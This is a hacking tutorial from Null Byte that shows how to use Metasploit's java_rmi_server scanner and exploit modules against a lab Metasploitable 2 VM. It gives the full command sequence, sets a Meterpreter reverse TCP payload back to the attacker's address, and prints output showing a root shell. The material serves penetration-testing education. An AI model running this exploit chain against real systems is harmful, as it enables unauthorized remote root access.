How to Exploit Java Remote Method Invocation to Get Root « Null Byte :: WonderHowTo

In the world of technology, there's often a trade-off between convenience and security. The Java Remote Method Invocation is a system where that trade-off is all too real. The ability for a program written inJavato communicate with another program remotely can greatly extend the usability of an app, but it can also open up critical vulnerabilities that allow it to be compromised by an attacker.In this tutorial, we will be using theMetasploit Frameworkto attack an insecure instance of a Java RMI server located onMetasploitable 2, avulnerable virtual machine.Introduction to Java RMIThe Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as aremote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the sameaddress space.One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.RMI applications usually consist of two programs: aclient and a server. When the server is created, the methods of its objects are made available to the client. The communication is handled by two intermediary objects: the stub and the skeleton.The stub is located on the client side and sends information to the server, such as an identifier for the remote object, the name of the method to be invoked, and other relevant parameters. The skeleton resides on the server and passes the request from the client to the remote object.Vulnerabilities arise when the default, insecure configuration of the server is present, allowing for classes to be loaded from any remote URL. Since method calls to the server do not require anyauthentication, this can be exploited. Metasploit contains a module to scan for Java RMI endpoints, as well as a module to actively exploit this vulnerability.Scanning for Java RMIStart Metasploit by typingmsfconsolein theterminal. There's an auxiliary scanner we can use to detect whether the Java RMI vulnerability exists on our target; At the prompt, typesearch rmiand locate the "auxiliary/scanner/misc/java_rmi_server" module.msf > search rmi
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                            Disclosure Date  Rank       Description
   ----                                                            ---------------  ----       -----------
   auxiliary/scanner/misc/java_rmi_server                          2011-10-15       normal     Java RMI Server Insecure Endpoint Code Execution Scanner
   exploit/multi/misc/java_rmi_server                              2011-10-15       excellent  Java RMI Server Insecure Default Configuration Java Code ExecutionNext, enteruse auxiliary/scanner/misc/java_rmi_serverand typeoptionsto display the settings.msf > use auxiliary/scanner/misc/java_rmi_server
msf auxiliary(scanner/misc/java_rmi_server) > options

Module options (auxiliary/scanner/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    1099             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threadsNow we need to specify the target by typingset rhosts 172.16.1.102(use the IP address of your own target). We can also increase the number of threads a bit to make the scanner to run a little faster. Typeset threads 16to set the number of threads to sixteen, a relatively safe amount. Finally, typerun(an alias for exploit) to scan the target.msf auxiliary(scanner/misc/java_rmi_server) > set rhosts 172.16.1.102
rhosts => 172.16.1.102
msf auxiliary(scanner/misc/java_rmi_server) > set threads 16
threads => 16
msf auxiliary(scanner/misc/java_rmi_server) > run

[+] 172.16.1.102:1099     - 172.16.1.102:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that the scanner detected a Java RMI endpoint on port 1099, which suggests the target may be vulnerable. Let's try to exploit it.Exploiting Java RMIBack in our previous search results, locate the "exploit/multi/misc/java_rmi_server" module, and typeuse exploit/multi/misc/java_rmi_serverto load it. Now we can display the variousoptionsfor this exploit.msf auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST                       yes       The target address
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

   Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)Typeset rhost 172.16.1.102(using the appropriate IP address) to specify the target. All of the other options can be left as default for now. Next, useshow payloadsto display the compatible payloads for this exploit.msf exploit(multi/misc/java_rmi_server) > set rhost 172.16.1.102
rhost => 172.16.1.102
msf exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
   generic/custom                                   normal  Custom Payload
   generic/shell_bind_tcp                           normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                        normal  Generic Command Shell, Reverse TCP Inline
   java/meterpreter/bind_tcp                        normal  Java Meterpreter, Java Bind TCP Stager
   java/meterpreter/reverse_http                    normal  Java Meterpreter, Java Reverse HTTP Stager
   java/meterpreter/reverse_https                   normal  Java Meterpreter, Java Reverse HTTPS Stager
   java/meterpreter/reverse_tcp                     normal  Java Meterpreter, Java Reverse TCP Stager
   java/shell/bind_tcp                              normal  Command Shell, Java Bind TCP Stager
   java/shell/reverse_tcp                           normal  Command Shell, Java Reverse TCP Stager
   java/shell_reverse_tcp                           normal  Java Command Shell, Reverse TCP InlineWe'll use the all-powerfulMeterpreterhere with a reverse TCP shell. Enterset payload java/meterpreter/reverse_tcpto enable this payload.msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcpLet's take a look at the current settings again withoptions.msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST      172.16.1.102     yes       The target address
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)Since we're using a reverse shell, we need to specify the listen address. Typeset lhost 172.16.1.100(the IP address of your attacking machine), and we should be good to go. Typerunto launch the exploit.msf exploit(multi/misc/java_rmi_server) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/ALldcZ02dnZmL
[*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/ALldcZ02dnZmL
[*] 172.16.1.102:1099 - Server started.
[*] 172.16.1.102:1099 - Sending RMI Header...
[*] 172.16.1.102:1099 - Sending RMI Call...
[*] 172.16.1.102:1099 - Replied to request for payload JAR
[*] Sending stage (53845 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:4444 -> 172.16.1.102:38797) at 2018-09-25 11:35:32 -0500
[*] 172.16.1.102:1099 - Server stopped.

meterpreter >We can see that the exploit started a handler on our system, sent the RMI method call to the target, and that a Meterpreter session was successfully opened. We can now use commands likegetuid, to see the user that Meterpreter is running as on the target, andsysinfo, to display information about the target.meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linuxWe can also spawn a local shell with theshellcommand.meterpreter > shell
Process 1 created.
Channel 1 created.
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff
    inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0
    inet6 fe80::a00:27ff:fe77:626c/64 scope link
       valid_lft forever preferred_lft foreverWe are now root at this point, and from here, the world is our oyster since we essentially have full control over the target.Wrapping UpGood intentions and the promise of enhanced functionality can often lead to vulnerabilities in an application, as was the case we saw here. Today, we covered the basic architecture and behavior of the Java Remote Method Invocation, how to determine if a vulnerability is present, and how to exploit that vulnerability with Metasploit to ultimately attain root access on the target. We were essentially able toown the entire systemall because of an insecure configuration.Don't Miss:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byDaria-Yakovleva/PixabayRelatedHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:The New HTC One M8 Has Been RootedHow To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHow To:Easily Find an Exploit in Exploit DB and Get It Compiled All from Your Terminal.How To:Hack Apache Tomcat via Malicious WAR File UploadHow to Java:E4 (Methods)Hack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:The Easiest "One-Click" Root Method for Your Samsung Galaxy S3How To:Root Any Galaxy Note 2 Variant in No Time with One Easy ClickHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHow To:Get Root with Metasploit's Local Exploit SuggesterNews:Linux Kernel Exploits Aren't Really an Android ProblemCreate a RAT in Java (Part 1:Method Resolve() )News:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesHow to Java:E5 (For Loops)How To:Install Java in CentOSHow To:Root Any Samsung Galaxy S4 in One ClickNews:Street Poets Open Mic Invocation 2011 (w/ Rhythm Tribe)Root Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Give Java More Ram - Make Minecraft FasterHow To:Hack Mac OS X Lion PasswordsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Install Minecraft in Ubuntu the Right Way!News:New AF100 Remote Helicopter FootageHow To:Write a Basic Encryption Program Using Java!How Null Byte Injections Work:A History of Our NamesakeNews:Intel Core 2 Duo Remote Exec Exploit in JavaScriptGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Introduction to JavaNews:Install Java on MindstormHow To:Chain VPNs for Complete Anonymity